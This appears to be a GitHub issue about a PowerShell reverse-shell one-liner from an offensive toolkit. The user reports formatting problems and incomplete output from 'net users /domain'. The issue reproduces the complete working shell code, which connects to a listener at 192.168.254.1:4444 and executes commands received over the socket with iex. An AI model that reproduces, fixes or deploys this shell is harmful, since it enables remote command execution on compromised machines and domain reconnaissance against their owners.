-
Notifications
You must be signed in to change notification settings - Fork 2.5k
Description
The "Invoke-PowerShellTcpOneLine.ps1" reverse shell prints new lines between successive lines for, e.g. the ls command. I'm using netcat as the listener to which the shell connects.
I've looked at the code, and I can't seem to locate the issue:
#$client = New-Object System.Net.Sockets.TCPClient('192.168.254.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
How could it be fixed?
Furthermore, using commands like net users /domain only returns the "The request will be processed at a domain controller for domain..." intermediary response, and not the full response from the domain controller?
